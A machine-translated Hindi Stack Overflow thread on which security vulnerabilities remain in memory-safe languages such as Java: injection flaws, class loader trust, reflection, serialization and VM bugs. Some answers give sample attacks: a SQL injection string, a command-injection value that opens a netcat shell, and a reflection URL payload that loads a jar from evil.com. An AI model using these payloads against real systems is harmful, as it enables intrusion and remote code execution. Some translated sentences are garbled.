2010-10-13 16 views
11

मैंने हाल ही में Secure Coding in C and C++ ब्रायन सेकॉर्ड द्वारा पढ़ा है, जो CERT के लिए काम करता है।"सुरक्षित" भाषाओं में सुरक्षा शोषण

कुल मिलाकर, यह एक उत्कृष्ट पुस्तक है और मैं इसे किसी भी प्रोग्रामर है जो अभी तक इसे नहीं पढ़ लिए सिफारिश करेंगे। इसे पढ़ने के बाद, यह मेरे लिए होता है कि विभिन्न प्रकार की सुरक्षा भेद्यताएं (जैसे कोड इंजेक्शन का शोषण, बफर ओवरफ्लोज़, पूर्णांक ओवरफ्लोज़, स्ट्रिंग स्वरूपण भेद्यता आदि), प्रत्येक सुरक्षा छेद एक चीज़ पर आती है: एक स्मृति पते तक पहुंचने की क्षमता जो किसी बफर द्वारा बाध्य नहीं है जिसे वैध रूप से प्रक्रिया द्वारा आवंटित किया गया था।

दुर्भावनापूर्ण कोड इंजेक्षन, या कहीं और भेजें कार्यक्रम तर्क स्मृति पते हैं जो गिर बाहर वैध तरीके से आवंटित बफर का उपयोग करने में सक्षम होने पर पूरी तरह से निर्भर करने की क्षमता। लेकिन जावा जैसी भाषा में, यह असंभव है। सबसे खराब यह हो सकता है कि एक प्रोग्राम ArrayIndexOutOfBoundsException के साथ समाप्त हो जाएगा, जिससे एक अस्वीकार सेवा हो सकती है।

तो वहाँ किसी भी सुरक्षा कमजोरियों जहां अमान्य स्मृति पहुंच संभव नहीं हैं जावा, जैसे "सुरक्षित" भाषाओं में संभव हो रहे हैं? (मैं यहाँ एक उदाहरण के रूप जावा का उपयोग, लेकिन वास्तव में मुझे लगता है कि अवैध स्मृति तक पहुँचता है रोकता है किसी भी भाषा में सुरक्षा कमजोरियों के बारे में जानने में दिलचस्पी रहा हूँ।)

+2

"अवैध मेमोरी एक्सेस संभव नहीं है" - यह उपयोगकर्ता कोड से संभव नहीं है, लेकिन JVM में स्वयं भी बग हो सकते हैं। – casablanca

+1

[ क्या जावा में बफर ओवरफ्लो है? ] (http://stackoverflow.com/questions/479701/does-java-have-buffer-overflows) एक संबंधित प्रश्न है। –

+3

वास्तविक कार्य करने के लिए पर्याप्त शक्तिशाली भाषा में संभावित सुरक्षा भेद्यताएं हैं। –

उत्तर

8
बेशक

/C++ सबसे आम पर ध्यान दिया जाएगा शोषण करते हैं। ढेर पर मेमोरी चालें और आगे।

किसी भी प्रत्यक्ष स्मृति उपयोग के बिना

सुरक्षा cavats के बहुत सारे के साथ एक भाषा की "स्पष्ट" उदाहरण के लिए के रूप में ... hows पीएचपी? सामान्य एक्सएसएस, सीएसआरएफ और एसक्यूएल इंजेक्शन के अलावा, आपको PHP के पुराने संस्करणों पर दूरस्थ कोड इंजेक्शन मिला है क्योंकि जादू और आगे भी शामिल है।मुझे यकीन है कि जावा उदाहरण हैं, लेकिन मैं जावा सुरक्षा विशेषज्ञ नहीं हूं ...

लेकिन चूंकि जावा सुरक्षा विशेषज्ञ मौजूद हैं, मुझे यकीन है कि ऐसे मामले हैं जिनके बारे में आपको चिंता करना है। (विशेष रूप से, मुझे यकीन है कि एसक्यूएल इंजेक्शन भी बेवकूफ वेब जावा डेवलपर्स को पीड़ित करता है)।

संपादित करें: मेरे सिर के शीर्ष से, जावा क्लासलोडर के माध्यम से कक्षाओं की गतिशील लोडिंग करता है। यदि आप किसी कारण से कस्टम क्लास लोडर लिखना चाहते थे, और आपने .class फ़ाइलों को सत्यापित नहीं किया था, तो आप कोड-इंजेक्शन पर अपना प्रोग्राम खोलेंगे। यदि यह कस्टम क्लास लोडर किसी भी तरह से इंटरनेट से कक्षाएं पढ़ता है, तो रिमोट कोड इंजेक्शन भी संभव होगा। और जैसा कि यह अजीब लगता है, यह बहुत आम है। ग्रहण और इसकी प्लगइन ढांचे पर विचार करें। बहुत शाब्दिक रूप से, यह स्वचालित रूप से डाउनलोड कोड लोड हो रहा है और फिर उन्हें चला रहा है। मैं मानता हूं, मुझे ग्रहण की वास्तुकला नहीं पता है, लेकिन मैं आपको शर्त लगाता हूं कि सुरक्षा ग्रहण प्लगइन डेवलपर्स के लिए चिंता का विषय है।

5

हां। यह morethanonce हुआ है। सिर्फ इसलिए कि एक भाषा मेमोरी में अमान्य पहुंच बनाना कठिन बनाता है, यह स्वचालित रूप से हमलों से आपकी रक्षा नहीं करता है। साथ ही, पूरी "सोशल इंजीनियरिंग" चीज भी है जो उपयोगकर्ताओं को किसी भी शोषण की आवश्यकता के बिना दुर्भावनापूर्ण प्रोग्राम चला सकती है!

सबसे अच्छी बात आप कर सकते हैं साथ-साथ अपनी सॉफ्टवेयर रखने के लिए, प्रोग्रामिंग प्रथाओं कि कीड़े को कम उपयोग करते हैं, जैसे ही उन्हें पता चला रहे हैं गंभीर बग को ठीक है, और उपयोगकर्ताओं को शिक्षित है।

+1

यह जेवीएम के साथ समस्याओं के कारण है, और हालांकि जावा-प्रोग्राम के साथ समस्याएं नहीं हैं। थोड़ा अलग, लेकिन यकीन है ... अच्छा जवाब। – aioobe

+1

@aioobe: ठीक है, लेकिन प्रभाव अभी भी वही है। यदि आप सैंडबॉक्स को बाईपास कर सकते हैं, तो आप किसी भी जावा कोड के बारे में बता सकते हैं - यही कारण है कि अपने सॉफ़्टवेयर को अद्यतित रखना महत्वपूर्ण है। –

+0

@ सिलिको में, अच्छा बिंदु ... यह पहले जैसा मैंने सोचा था उतना ही समान है! – aioobe

0

जावा प्रोग्राम पतली हवा पर नहीं चलते हैं। यह एक संपूर्ण मंच है, और इस मंच के प्रोग्रामर सिर्फ इंसान हैं जो प्रोग्रामिंग त्रुटियां करते हैं। जबकि आपका जावा कोड स्वयं सुरक्षित हो सकता है, आपको इसे चलाने के लिए प्लेटफार्म की आवश्यकता है, अन्य हमले वैक्टर खोलना।

3

सूर्य की अपनी Secure Coding Guidelines for the Java Programming Language, Version 3.0 से:

जावा मंच की अपनी अनूठी सुरक्षा चुनौतियों का सेट है। में से एक मुख्य डिजाइन विचार मोबाइल कोड निष्पादित करने के लिए एक सुरक्षित वातावरण प्रदान करता है। जावा सुरक्षा संरचना एक नेटवर्क पर डाउनलोड किया शत्रुतापूर्ण कार्यक्रमों से उपयोगकर्ताओं और सिस्टम, रक्षा कर सकते हैं जबकि यह कार्यान्वयन के खिलाफ कीड़े कि भरोसा कोड में पाए जाते हैं की रक्षा नहीं कर सकता। इस तरह के कीड़े अनजाने बहुत छेद सी पर ध्यान केंद्रित एक किताब खोल सकते हैं कि सुरक्षा संरचना शामिल करने के लिए डिजाइन किया गया था ...

+0

+1 यह बहुत अच्छी चीजें है। :) –

6

दुर्भावनापूर्ण कोड इंजेक्ट करने या प्रोग्राम तर्क को दोबारा करने की क्षमता वैध रूप से आवंटित बफर के बाहर आने वाले मेमोरी पतों तक पहुंचने में सक्षम होने पर निर्भर करती है।

यह मुझे एक संकीर्ण दृष्टिकोण के रूप में हमला करता है कि क्या है और दुर्भावनापूर्ण नहीं है। उदाहरण के लिए एसक्यूएल इंजेक्शन (या वास्तव में किसी भी प्रकार का इंजेक्शन) बफर ओवरफ्लो की आवश्यकता नहीं है और आमतौर पर आपके सिस्टम में दुर्भावनापूर्ण कोड इंजेक्ट करता है। हालांकि यह निश्चित रूप से संभव है; उदाहरण के लिए कुछ प्रबंधित भाषाएं उनके प्रबंधित स्ट्रिंग कक्षाओं के बीच में नल चरित्र की अनुमति देगी। दिलचस्प बग्स रहे हैं जहां स्ट्रिंग को अंतर्निहित ओएस में पास किया गया था, जहां एपीआई सी/सी ++ संचालित है और इस प्रकार स्ट्रिंग को पहले \ 0 पर पाता है, उदाहरण के लिए, आपको फाइल सिस्टम के चारों ओर घूमने की अनुमति मिल सकती है कटाव त्रुटियों के कारण इच्छा पर।

तो फिर वहाँ बुरा एन्क्रिप्शन, जानकारी लीक और अन्य मज़ा सुरक्षा त्रुटियों जो बफ़र्स शामिल नहीं है के सभी प्रकार के ...

1

तो आभासी मशीन कार्यान्वयन सिर्फ बात आप में एक जोखिम को खोजने की जरूरत हो जाता है। और यदि आपको लगता है कि वीएम कार्यान्वयन को लॉक करना आसान है, तो एक्शन स्क्रिप्ट वर्चुअल मशीन के लिए शोषण के विवरण के amazing account को पढ़ें और इस बात पर विचार करें कि क्या आप वास्तव में इस तरह के छेद की गारंटी नहीं दे सकते थे।

1

बहुत से सुरक्षा शोषण हैं जो किसी भी भाषा को प्रभावित कर सकते हैं - कुछ पुराने शोषण, कुछ नए।

पुराने स्कूल शोषण का एक उदाहरण असुरक्षित अनुमतियों या असुरक्षित निर्देशिका में एक अस्थायी फ़ाइल बनायेगा - जिसके परिणामस्वरूप सूचना लीकिंग या हमलावर अपनी जानकारी डाल रहा है।

एसक्यूएल इंजेक्शन शोषण लंबे समय तक भी आसपास रहे हैं (यानी उपयोगकर्ता से एसक्यूएल पार्सर में अनधिकृत पाठ पास करना)।

एक्सएसएस प्रकार के हमले अपेक्षाकृत नए हैं, और किसी भी सर्वर प्रोग्रामिंग भाषा में बनाना आसान है।

2

अनियंत्रित उपयोगकर्ता इनपुट सुरक्षा संबंधी दोषों का एक बहुत करने के लिए नेतृत्व कर सकते हैं:

stmt.executeQuery("SELECT * FROM Users where userName='" + userName + "'"); 

अगर userName मान्य नहीं किया जाता है, और एक बाहरी स्रोत से आता है, किसी को आसानी से "john' or userName != '" के रूप में अपने उपयोगकर्ता नाम प्रदान कर सकते हैं। आपकी तालिका में सभी डेटा के संपर्क में अग्रणी।

Runtime.getRuntime().exec(command);

यहाँ

यही बात।यदि आदेश मान्य नहीं है और बाहरी स्रोत से आता है, तो कोई चालाक "/ bin/sh | nc -l 10000" या जैसे सर्वर पर खोल पहुंच प्राप्त कर सकता है। या स्थानीय सुरक्षा छेद का शोषण करने वाले सी स्रोत प्रोग्राम को इंजेक्ट करें और command संकलित करें और इसे सीधे सर्वर पर चलाएं।

1

जावा ++ स्मृति कारनामे में सी से ज्यादा सुरक्षित है (कारण स्पष्ट बाध्य जाँच निर्माण में भाषा)। यह बफर ओवरफ्लो शोषण की श्रेणी को समाप्त करता है।
लेकिन जावा पूरी तरह से सुरक्षित नहीं है।
प्रोग्रामर के विश्वास के लिए भाषा में अंतर्निहित विशेषताएं, दुर्भावनापूर्ण हमले के हिस्से के रूप में उपयोग की जा सकती हैं। जैसे प्रतिबिंब का उपयोग करके एक प्रोग्राम कक्षा चर के मानों को ढूंढ सकता है और उन्हें संशोधित कर सकता है (सुरक्षा प्रबंधक को ओवरराइड करने के तरीके हैं - कम से कम मैंने पढ़ा है)।
सीरियलाइजेशन में समस्याएं हैं (चेक-आउट आरएमआई भेद्यताएं) और कई एपीआई प्रोग्रामर चिंता के बिना उपयोग करते हैं जो बुरी तरह से परिणाम दे सकते हैं। जैसे एपीआई जो हमारे प्रोग्राम के क्लासलोडर का उपयोग "अविश्वसनीय" लोड करने के लिए करते हैं? पुस्तकालयों।

5

यहाँ एक सी में से एक जावा प्रणाली में argueably बहुत अधिक संभावना है कि एक दिलचस्प सुरक्षा छेद है, ++ सिस्टम:

एक वेब रूपरेखा प्रतिबिंब का उपयोग करता url पैरामीटर से ऑब्जेक्ट फ़ील्ड सेट करने के लिए लगता है

/update?a=1&b[2]=2&c.x=3&c.y=4 

बहुत सुविधाजनक और शक्तिशाली।

एक हमलावर इस पर इस

/update?class.classLoader.ucp.urls.elementData[0]=http://evil.com/evil.jar 

खेल की तरह एक यूआरएल फ़ीड यह किसी भी वस्तु ग्राफ के ट्रेवर्सल की अनुमति देता है ...। पूरी प्रणाली हमलावर के नियंत्रण में है।

http://seclists.org/fulldisclosure/2010/Jun/456

देख सकते हैं और मुझे नहीं लगता कि यह केवल वसंत का क्या हुआ। वहां बहुत सारे जावा सिस्टम हैं जो खुली दुनिया में अपनी घंटी को काफी हद तक उजागर करते हैं।

1

प्रोग्रामिंग सुरक्षा कमजोरियों का एक बहुत इंजेक्शन हमले कि किसी दिए गए भाषा या ढांचे के लिए विशिष्ट हैं के रूप में वर्गीकृत किया जा सकता है। आप विशेष रूप से सी ++ में इंजेक्शन हमलों के बारे में पढ़ रहे हैं, जिससे उपयोगकर्ता एक बफर ओवरफ़्लो या स्ट्रिंग स्वरूपण भेद्यता के माध्यम से कोड इंजेक्ट कर सकता है। यदि आप एचटीएमएल में अपना शोध बढ़ाते हैं तो आप पाएंगे कि क्रॉस-साइट स्क्रिप्टिंग (जेएस कोड का इंजेक्शन) और एसक्यूएल इंजेक्शन (एसक्यूएल प्रश्नों का इंजेक्शन) काफी आम है। PHP पर एक नज़र डालें और आप ध्यान दें कि कमांड लेवल इंजेक्शन नियमित मुद्दा होता है।

आखिरकार प्रत्येक भाषा और ढांचे में इसकी समस्याएं हैं। उनसे अवगत रहें। और निश्चित रूप से, आपके द्वारा उपयोग की जाने वाली भाषा, ढांचे या ओएस के बावजूद व्यापार तर्क सुरक्षा त्रुटियां मौजूद रहेंगी। उदाहरण के लिए, एक शॉपिंग कार्ट जो नकारात्मक कुल राशि के लिए खरीदे जाने वाले सामानों की नकारात्मक मात्रा को खराब प्रोग्रामिंग कौशल के कारण सुरक्षा समस्या होगी।

0

मैं निराश है कि यह एक उल्लेख नहीं किया गया था के बाद से सवाल जावा, जो विशेष रूप से निरीक्षण की इस तरह की चपेट में है से संबंधित है कर रहा हूँ:

जावा में दृश्यता एक सॉफ्टवेयर डेवलपर के लिए एक प्रमुख चिंता का विषय की कोशिश कर रहा है यह सुनिश्चित करने के लिए कि उसका कोड सुरक्षित है। विशेष रूप से विस्तारणीय ढांचे के संदर्भ में जहां मैं अक्सर "विदेशी" कोड चला रहा हूं, यह महत्वपूर्ण है कि मैं उस जानकारी को अधिक महत्व न दें जिसे मैं मान्य मानता हूं।

यदि मैंने कुछ सार्वजनिक किया है, वास्तव में, निजी होना चाहिए, तो मैंने संभावित भेद्यता का परिचय दिया है। यदि मैं किसी ऑब्जेक्ट का संदर्भ पास करता हूं जिसे मैं सक्रिय रूप से रक्षात्मक प्रतिलिपि के बजाय उपयोग कर रहा हूं, तो मैं अनजाने में उस डेटा का पर्दाफाश कर सकता हूं जिसे मानक उपयोगकर्ता तक पहुंच नहीं होनी चाहिए। कभी-कभी आप चाहते हैं कि उपयोगकर्ता का संदर्भ हो और प्रतिलिपि न हो, लेकिन यदि यह थोड़ी देर के लिए जीवित डेटा का एक टुकड़ा है, तो आप यह सुनिश्चित करने के लिए एक प्रतिलिपि बनाना चाहेंगे कि आपको नियंत्रण मिल गया है उस बिंदु से डेटा आगे।

किसी व्यक्ति को कक्षा में सदस्य डेटा फ़ील्ड का संदर्भ देने की इजाजत देता है, जिसे मैं अपरिवर्तनीय मान रहा हूं, रोचक या विचित्र व्यवहार हो सकता है। वैधता जांचने और इसे स्वच्छ करने के बाद डेटा संशोधित किया जा सकता है।

संबंधित मुद्दे